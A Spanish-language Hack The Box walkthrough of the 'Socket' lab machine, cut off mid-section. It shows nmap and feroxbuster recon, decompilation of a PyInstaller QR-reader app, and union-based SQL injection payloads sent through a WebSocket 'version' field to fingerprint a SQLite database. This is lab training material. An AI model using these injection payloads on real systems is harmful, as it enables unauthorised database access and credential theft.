This page looks best with JavaScript enabled

Hack The Box - Socket

 •  ✍️ sckull

En Socket analizamos el codigo fuente de una aplicacion escrita en Python, tras ello descubrimos una vulnerabilidad SQLi por donde logramos obtener credenciales que nos dieron acceso a la maquina. Tras analizar un script que es ejecutado mediante sudo, escribimos un pequeno archivo en Python que nos permitio escalar privilegios.

Nombre Socket box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.206
Maker

kavigihan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.4, 4.7, 4.6, 5.4, 5.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), ssh (22) y lo que parece ser WebSockets (5789), segun el header Server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Nmap 7.93 scan initiated Thu May  4 15:13:59 2023 as: nmap -p22,80,5789 -sV -sC -oN nmap_scan 10.10.11.206
Nmap scan report for 10.10.11.206
Host is up (0.083s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
5789/tcp open  unknown
| fingerprint-strings:
|   GenericLines, GetRequest:
|     HTTP/1.1 400 Bad Request
|     Date: Thu, 04 May 2023 19:14:01 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Date: Thu, 04 May 2023 19:14:02 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Date: Thu, 04 May 2023 19:14:17 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.

[ ... ]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  4 15:15:34 2023 -- 1 IP address (1 host up) scanned in 95.19 seconds

Web Site

El sitio web nos redirige al dominio qreader.htb, tras agregarlo al archivo /etc/hosts observamos que los headers de respuesta indican una aplicacion escrita en Python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~ ❯ curl -sI 10.10.11.206
HTTP/1.1 301 Moved Permanently
Date: Wed, 14 Jun 2023 03:29:12 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://qreader.htb/
Content-Type: text/html; charset=iso-8859-1

 π ~ ❯ curl -sI http://qreader.htb/
HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 03:29:02 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 6992

 π ~ ❯ 

Al visitar el sitio observamos informacion que indica que es posible crear imagenes QR a partir de texto o leer imagenes QR. En el footer se indica que esta escrita en Flask.

image

Si creamos una Imagen a partir de texto, una imagen QR se descarga.

image

Intentamos leer la imagen QR y vemos el texto en una nueva pagina.

image

Tambien, encontramos que el sitio ofrece una version de escritorio de la aplicacion web para Windows y Linux.

image

Directory Brute Forcing

feroxbuster muestra tres unicas rutas de la aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/socket ❯ feroxbuster -u http://qreader.htb/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://qreader.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      228l      638w     6992c http://qreader.htb/
200      GET      197l      302w     4161c http://qreader.htb/report
405      GET        5l       20w      153c http://qreader.htb/embed
405      GET        5l       20w      153c http://qreader.htb/reader
403      GET        9l       28w      276c http://qreader.htb/server-status

QR App

Descargamos la aplicacion y observamos que esta comprimida.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/socket ❯ wget "qreader.htb/download/linux"
--2023-05-04 15:54:21--  http://qreader.htb/download/linux
Resolving qreader.htb (qreader.htb)... 10.10.11.206
Connecting to qreader.htb (qreader.htb)|10.10.11.206|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 107679534 (103M) [application/zip]
Saving to: ‘linux’

linux                  100%[============================>] 102.69M  3.08MB/s    in 84s

2023-05-04 15:55:45 (1.22 MB/s) - ‘linux’ saved [107679534/107679534]

 π ~/htb/socket ❯ file linux
linux: Zip archive data, at least v1.0 to extract, compression method=store
 π ~/htb/socket ❯

Tras descomprimir el archivo encontramos un ejecutable y una imagen PNG.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/socket ❯ unzip linux
Archive:  linux
   creating: app/
  inflating: app/qreader
  inflating: app/test.png
 π ~/htb/socket ❯ tree app
app
├── qreader
└── test.png

0 directories, 2 files
 π ~/htb/socket ❯ cd app
 π ~/htb/socket/app ❯ file qreader 
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
 π ~/htb/socket/app ❯

Dynamic analysis

Al ejecutar el fichero vemos que abre una version GUI del programa.

image

Si utilizamos la opcion de “Read” nos muestra un mensaje de error en el que indica que no se ha importado una imagen.

image

Al importar la imagen test.png que viene con el fichero, vemos que se muestra el texto del QR.

image

Tambien, al escribir un texto y dar a “Embed” nos genera una nueva imagen QR con el valor del texto ingresado.

image

En ‘About’ tenemos las opciones de Version y Update, al dar clic nos muestra un mensaje de error de conexion.

image

Ejecutamos wireshark y observamos el trafico generado, vemos multiples solicitudes a un subdominio, ws.qreader.htb

image

Tras agregar el subdominio a /etc/hosts observamos nueva informacion en Version y Update, respectivamente.
image
image

Static Analysis

Revisando las strings del ejecutable observamos “python”, al pasar grep sobre estas vemos una larga lista de archivos .pyc, con esto suponemos que se trata de una aplicacion escrita en python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/socket/app ❯ strings qreader| more
 π ~/htb/socket/app ❯ strings qreader| grep python
bPIL/_imaging.cpython-310-x86_64-linux-gnu.so
bPIL/_imagingft.cpython-310-x86_64-linux-gnu.so
bPIL/_imagingtk.cpython-310-x86_64-linux-gnu.so
bPIL/_webp.cpython-310-x86_64-linux-gnu.so
bPyQt5/sip.cpython-310-x86_64-linux-gnu.so
b_cffi_backend.cpython-310-x86_64-linux-gnu.so
[ .. ]
bsip.cpython-310-x86_64-linux-gnu.so
xPyQt5/uic/widget-plugins/__pycache__/qaxcontainer.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qscintilla.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtcharts.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtprintsupport.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtquickwidgets.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtwebenginewidgets.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtwebkit.cpython-310.pyc
6libpython3.10.so.1.0
 π ~/htb/socket/app 

PyInstallerExtractor.py

Ejecutamos pyinstxtractor sobre el fichero, para extraer el contenido del ejecutable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/socket/app ❯ python3 ../../tools/pyinstxtractor/pyinstxtractor.py qreader
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader

You can now use a python decompiler on the pyc files within the extracted directory
 π ~/htb/socket/app ❯

Observamos multiples librerias y archivos .pyc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 π ~/htb/socket/app/qreader_extracted ❯ ls
base_library.zip                               libgbm.so.1                    libmount.so.1                      libsystemd.so.0           libXdamage.so.1
_cffi_backend.cpython-310-x86_64-linux-gnu.so  libgcc_s.so.1                  libmpdec.so.3                      libthai.so.0              libXdmcp.so.6
cv2                                            libgcrypt.so.20                libmtdev.so.1                      libtiff.so.5              libXext.so.6
importlib_metadata-4.6.4.egg-info              libgdk-3.so.0                  libncursesw.so.6                   libtinfo.so.6             libXfixes.so.3
libatk-1.0.so.0                                libgdk_pixbuf-2.0.so.0         libopenblas-r0-f650aae0.3.3.so     libudev.so.1              libXinerama.so.1
libatk-bridge-2.0.so.0                         libgfortran-91cc3cb1.so.3.0.0  libopenjp2.so.7                    libuuid.so.1              libXi.so.6
libatspi.so.0                                  libgfortran.so.5               libpango-1.0.so.0                  libvpx-f22f1483.so.7.0.0  libxkbcommon.so.0
libavcodec-5896f664.so.58.134.100              libgio-2.0.so.0                libpangocairo-1.0.so.0             libwacom.so.9             libxkbcommon-x11.so.0
libavformat-8ef5c7db.so.58.76.100              libglib-2.0.so.0               libpangoft2-1.0.so.0               libwayland-client.so.0    libXrandr.so.2
libavutil-9c768859.so.56.70.100                libgmodule-2.0.so.0            libpcre2-16.so.0                   libwayland-cursor.so.0    libXrender.so.1
libblas.so.3                                   libgobject-2.0.so.0            libpcre2-8.so.0                    libwayland-egl.so.1       libz.so.1
libblkid.so.1                                  libgomp.so.1                   libpixman-1.so.0                   libwayland-server.so.0    libzstd.so.1
libbrotlicommon.so.1                           libgpg-error.so.0              libpng16-57e5e0a0.so.16.37.0       libwebpdemux.so.2         numpy
libbrotlidec.so.1                              libgraphite2.so.3              libpng16.so.16                     libwebpmux.so.3           PIL
libbsd.so.0                                    libgssapi_krb5.so.2            libpython3.10.so.1.0               libwebp.so.7              psutil
libbz2-a273e504.so.1.0.6                       libgtk-3.so.0                  libQt5Core.so.5                    libX11.so.6               pyiboot01_bootstrap.pyc
libbz2.so.1.0                                  libgudev-1.0.so.0              libQt5DBus.so.5                    libX11-xcb.so.1           pyimod01_archive.pyc
libcairo-gobject.so.2                          libharfbuzz.so.0               libQt5EglFSDeviceIntegration.so.5  libXau.so.6               pyimod02_importers.pyc
libcairo.so.2                                  libICE.so.6                    libQt5EglFsKmsSupport.so.5         libxcb-glx.so.0           pyimod03_ctypes.pyc
libcap.so.2                                    libicudata.so.72               libQt5Gui.so.5                     libxcb-icccm.so.4         pyi_rth_inspect.pyc
libcom_err.so.2                                libicui18n.so.72               libQt5Network.so.5                 libxcb-image.so.0         pyi_rth_multiprocessing.pyc
libcrypto-d21001fc.so.1.1                      libicuuc.so.72                 libQt5Svg.so.5                     libxcb-keysyms.so.1       pyi_rth_pkgres.pyc
libcrypto.so.3                                 libimagequant.so.0             libQt5Widgets.so.5                 libxcb-randr.so.0         pyi_rth_pkgutil.pyc
libdatrie.so.1                                 libinput.so.10                 libQt5XcbQpa.so.5                  libxcb-render.so.0        pyi_rth_pyqt5.pyc
libdbus-1.so.3                                 libjbig.so.0                   libquadmath-96973f99.so.0.0.0      libxcb-render-util.so.0   pyi_rth_setuptools.pyc
libdeflate.so.0                                libjpeg.so.62                  libquadmath.so.0                   libxcb-shape.so.0         pyi_rth_subprocess.pyc
libdouble-conversion.so.3                      libk5crypto.so.3               libraqm.so.0                       libxcb-shm.so.0           PyQt5
lib-dynload                                    libkeyutils.so.1               libreadline.so.8                   libxcb-sync.so.1          PYZ-00.pyz
libepoxy.so.0                                  libkrb5.so.3                   libselinux.so.1                    libxcb-util.so.1          PYZ-00.pyz_extracted
libevdev.so.2                                  libkrb5support.so.0            libSM.so.6                         libxcb-xfixes.so.0        qreader.pyc
libexpat.so.1                                  liblapack.so.3                 libssl-c8c53640.so.1.1             libxcb-xinerama.so.0      setuptools-59.6.0.egg-info
libffi.so.8                                    liblz4.so.1                    libssl.so.3                        libxcb-xinput.so.0        sip.cpython-310-x86_64-linux-gnu.so
libfontconfig.so.1                             liblzma.so.5                   libstdc++.so.6                     libxcb-xkb.so.1           struct.pyc
libfreetype.so.6                               libmd4c.so.0                   libswresample-99364a1c.so.3.9.100  libXcomposite.so.1        websockets-10.2.egg-info
libfribidi.so.0                                libmd.so.0                     libswscale-e6451464.so.5.9.100     libXcursor.so.1           wheel-0.37.1.egg-info
 π ~/htb/socket/app/qreader_extracted ❯

Filtramos los .so, observamos multiples librerias python, destacamos el archivo qreader.pyc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/socket/app/qreader_extracted ❯ ls | grep -v so
base_library.zip
cv2
importlib_metadata-4.6.4.egg-info
lib-dynload
numpy
PIL
psutil
pyiboot01_bootstrap.pyc
pyimod01_archive.pyc
pyimod02_importers.pyc
pyimod03_ctypes.pyc
pyi_rth_inspect.pyc
pyi_rth_multiprocessing.pyc
pyi_rth_pkgres.pyc
pyi_rth_pkgutil.pyc
pyi_rth_pyqt5.pyc
pyi_rth_setuptools.pyc
pyi_rth_subprocess.pyc
PyQt5
PYZ-00.pyz
PYZ-00.pyz_extracted
qreader.pyc
setuptools-59.6.0.egg-info
struct.pyc
wheel-0.37.1.egg-info
 π ~/htb/socket/app/qreader_extracted ❯

UnPyc

Utilizamos la version de python 3.10 y con unpyc, decompilamos el archivo qreader.pyc, vemos el codigo fuente de la aplicacion.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
PS C:\Users\sckull\Documents\htb\unpyc37-3.10> python --version
Python 3.10.9
PS C:\Users\sckull\Documents\htb\unpyc37-3.10>
PS C:\Users\sckull\Documents\htb\unpyc37-3.10> python .\src\unpyc3.py ..\qreader.pyc
Traceback (most recent call last):
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
    new_addr = method(*args)
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2710, in CALL_FUNCTION
    func = self.stack.pop()
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 316, in pop
    val = self.pop1()
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 310, in pop1
    raise Exception('Empty stack popped!')
Exception: Empty stack popped!
Traceback (most recent call last):
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
    new_addr = method(*args)
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2266, in SETUP_WITH
    elif end_with.opcode is WITH_CLEANUP_START:
NameError: name 'WITH_CLEANUP_START' is not defined
Traceback (most recent call last):
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
    new_addr = method(*args)
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2438, in DUP_TOP
    self.stack.push(self.stack.peek())
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 330, in peek
    return self._stack[-1]
IndexError: list index out of range
Traceback (most recent call last):
  File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1998, in run
    method = getattr(self, opname[opcode])
AttributeError: 'SuiteDecompiler' object has no attribute 'GEN_START'
import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
    global tmp_file_name
    try:
        tmp_file_name = tempfile.gettempdir() + '/' + str(random.randint(100000, 900000)) + '.tmp'
        ui_template = '<?xml version="1.0" encoding="UTF-8"?>\n        <ui version="4.0">\n        <class>MainWindow</class>\n        <widget class="QMainWindow" name="MainWindow">\n        <property name="geometry">\n        <rect>\n            <x>0</x>\n            <y>0</y>\n            <width>743</width>\n            <height>368</height>\n        </rect>\n        </property>\n        <property name="windowTitle">\n        <string>QR Code Reader</string>\n        </property>\n        <widget class="QWidget" name="centralwidget">\n        <layout class="QHBoxLayout" name="horizontalLayout">\n            <item>\n            <widget class="QLabel" name="label">\n            <property name="minimumSize">\n            <size>\n                <width>300</width>\n                <height>300</height>\n            </size>\n            </property>\n            <property name="text">\n            <string/>\n            </property>\n            </widget>\n            </item>\n            <item>\n            <layout class="QHBoxLayout" name="horizontalLayout_2"/>\n            </item>\n            <item>\n            <layout class="QVBoxLayout" name="verticalLayout_5">\n            <item>\n            <widget class="QPushButton" name="pushButton">\n                <property name="text">\n                <string>Read</string>\n                </property>\n            </widget>\n            </item>\n            <item>\n            <widget class="QPushButton" name="pushButton_2">\n                <property name="text">\n                <string>Embed</string>\n                </property>\n            </widget>\n            </item>\n            </layout>\n            </item>\n            <item>\n            <layout class="QVBoxLayout" name="verticalLayout">\n            <item>\n            <widget class="QTextEdit" name="textEdit">\n                <property name="minimumSize">\n                <size>\n                <width>300</width>\n                <height>300</height>\n                </size>\n                </property>\n            </widget>\n            </item>\n            </layout>\n            </item>\n        </layout>\n        </widget>\n        <widget class="QMenuBar" name="menubar">\n        <property name="geometry">\n            <rect>\n            <x>0</x>\n            <y>0</y>\n            <width>743</width>\n            <height>21</height>\n            </rect>\n        </property>\n        <widget class="QMenu" name="menuFile">\n            <property name="title">\n            <string>File</string>\n            </property>\n            <addaction name="actionImport"/>\n            <addaction name="actionSave"/>\n            <addaction name="actionQuit"/>\n        </widget>\n        <widget class="QMenu" name="menuAbout">\n            <property name="title">\n            <string>About</string>\n            </property>\n            <addaction name="actionVersion"/>\n            <addaction name="actionUpdate"/>\n        </widget>\n        <addaction name="menuFile"/>\n        <addaction name="menuAbout"/>\n        </widget>\n        <widget class="QStatusBar" name="statusbar"/>\n        <action name="actionImport">\n        <property name="text">\n            <string>Import</string>\n        </property>\n        </action>\n        <action name="actionSave">\n        <property name="text">\n            <string>Save</string>\n        </property>\n        </action>\n        <action name="actionQuit">\n        <property name="text">\n            <string>Quit</string>\n        </property>\n        </action>\n        <action name="actionVersion">\n        <property name="text">\n            <string>Version </string>\n        </property>\n        </action>\n        <action name="actionUpdate">\n        <property name="text">\n            <string>Updates</string>\n        </property>\n        </action>\n        </widget>\n        <resources/>\n        <connections/>\n        </ui>'
        with open(tmp_file_name, 'w') as f:
            f.write(ui_template)
    finally:
        pass

class MyGUI(QMainWindow):

    def __init__(self):
        super(MyGUI, self).__init__()
        uic.loadUi(tmp_file_name, self)
        self.show()
        self.current_file = ''
        self.actionImport.triggered.connect(self.load_image)
        self.actionSave.triggered.connect(self.save_image)
        self.actionQuit.triggered.connect(self.quit_reader)
        self.actionVersion.triggered.connect(self.version)
        self.actionUpdate.triggered.connect(self.update)
        self.pushButton.clicked.connect(self.read_code)
        self.pushButton_2.clicked.connect(self.generate_code)
        self.initUI()

    def initUI(self):
        self.setWindowIcon(QtGui.QIcon(icon_path))

    def load_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
        if filename != '':
            self.current_file = filename
            pixmap = QtGui.QPixmap(self.current_file)
            pixmap = pixmap.scaled(300, 300)
            self.label.setScaledContents(True)
            self.label.setPixmap(pixmap)
            return

    def save_image(self):
        options = QFileDialog.Options()
        (filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options=options)
        if filename != '':
            img = self.label.pixmap()
            img.save(filename, 'PNG')
            return

    def read_code(self):
        if self.current_file != '':
            img = cv2.imread(self.current_file)
            detector = cv2.QRCodeDetector()
            (data, bbox, straight_qrcode) = detector.detectAndDecode(img)
            self.textEdit.setText(data)
            return
        self.statusBar().showMessage('[ERROR] No image is imported!')

    def generate_code(self):
        qr = qrcode.QRCode(version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=20, border=2)
        qr.add_data(self.textEdit.toPlainText())
        qr.make(fit=True)
        img = qr.make_image(fill_color='black', back_color='white')
        img.save('current.png')
        pixmap = QtGui.QPixmap('current.png')
        pixmap = pixmap.scaled(300, 300)
        self.label.setScaledContents(True)
        self.label.setPixmap(pixmap)

    def quit_reader(self):
        if os.path.exists(tmp_file_name):
            os.remove(tmp_file_name)
        sys.exit()

    def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
        data = json.loads(response)
        if 'error'not  in (data.keys()):
            version_info = data['message']
            msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
            self.statusBar().showMessage(msg)
            return
        error = data['error']
        self.statusBar().showMessage(error)

    def update(self):
        response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION})))
        data = json.loads(response)
        if 'error'not  in (data.keys()):
            msg = '[INFO] ' + data['message']
            self.statusBar().showMessage(msg)
            return
        error = data['error']
        self.statusBar().showMessage(error)

async def ws_connect(url, msg):
    pass

def main():
    (status, e) = setup_env()
    if not status:
        print('[-] Problem occured while setting up the env!')
    app = QApplication([])
    window = MyGUI()
    app.exec_()

if __name__ == '__main__':
    main()
    return
PS C:\Users\sckull\Documents\htb\unpyc37-3.10>

Destacamos la conexion con el websocket, obteniendo la version y actualizacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import asyncio
import websockets

[...]

ws_host = 'ws://ws.qreader.htb:5789'
VERSION = '0.0.2'

[...]

def version(self):
  response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
  data = json.loads(response)
  if 'error'not  in (data.keys()):
      version_info = data['message']
      msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
      self.statusBar().showMessage(msg)
      return
  error = data['error']
  self.statusBar().showMessage(error)

def update(self):
  response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION})))
  data = json.loads(response)
  if 'error'not  in (data.keys()):
      msg = '[INFO] ' + data['message']
      self.statusBar().showMessage(msg)
      return
  error = data['error']
  self.statusBar().showMessage(error)

async def ws_connect(url, msg):
    pass

[...]

User - Tkeller

SQLi

Creamos un pequeno script para realizar una conexion con el servidor y ver que informacion podemos obtener manipulando el valor de ‘version’.

Cambiando el numero de version vemos informacion: id, version, release_date, downloads, que, probablemente sean obtenidas de alguna base de datos.

1
2
3
4
5
6
7
 π ~/htb/socket ❯ python3 websocket_socket.py  0.0.2
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py  0.0.1
{'message': {'id': 1, 'version': '0.0.1', 'released_date': '12/07/2022', 'downloads': 280}}
 π ~/htb/socket ❯ python3 websocket_socket.py  0.0.0
{'message': 'Invalid version!'}
 π ~/htb/socket ❯

En el caso de /update nos muestra unicamente dos mensajes.

1
2
3
4
5
 π ~/htb/socket ❯ python3 websocket_socket.py  0.0.2
{'message': 'You have the latest version installed!'}
 π ~/htb/socket ❯ python3 websocket_socket.py  0.0.1
{'message': 'Version 0.0.2 is available to download!'}
 π ~/htb/socket ❯

Manipulando el valor de version, vemos posible una injeccion SQL, al intentar con union select observamos 4 columnas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" or 1=1'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and  1=1'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and  1=1;'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and  1=1;#'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and  1=1--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" or 1=1--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4,5--'

 π ~/htb/socket ❯

Vemos que en la primera columna es posible obtener informacion en este caso vemos el valor 0 pasandolo con char(48).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,char(48)--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,char(48),4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,char(48),3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select char(48),2,3,4--'
{"message": {"id": "0", "version": 2, "released_date": 3, "downloads": 4}}
 π ~/htb/socket ❯

Intentamos identificar la base de datos, encontramos que se trata de sqlite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select @@version,2,3,4--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select @@version(),2,3,4--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select version(),2,3,4--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select v$version,2,3,4--'

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select sqlite_version(),2,3,4--'
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
 π ~/htb/socket ❯

Tablas & Columnas

Vemos que la tabla es “versions” y observamos las columnas.

1
2
3
4
5
6
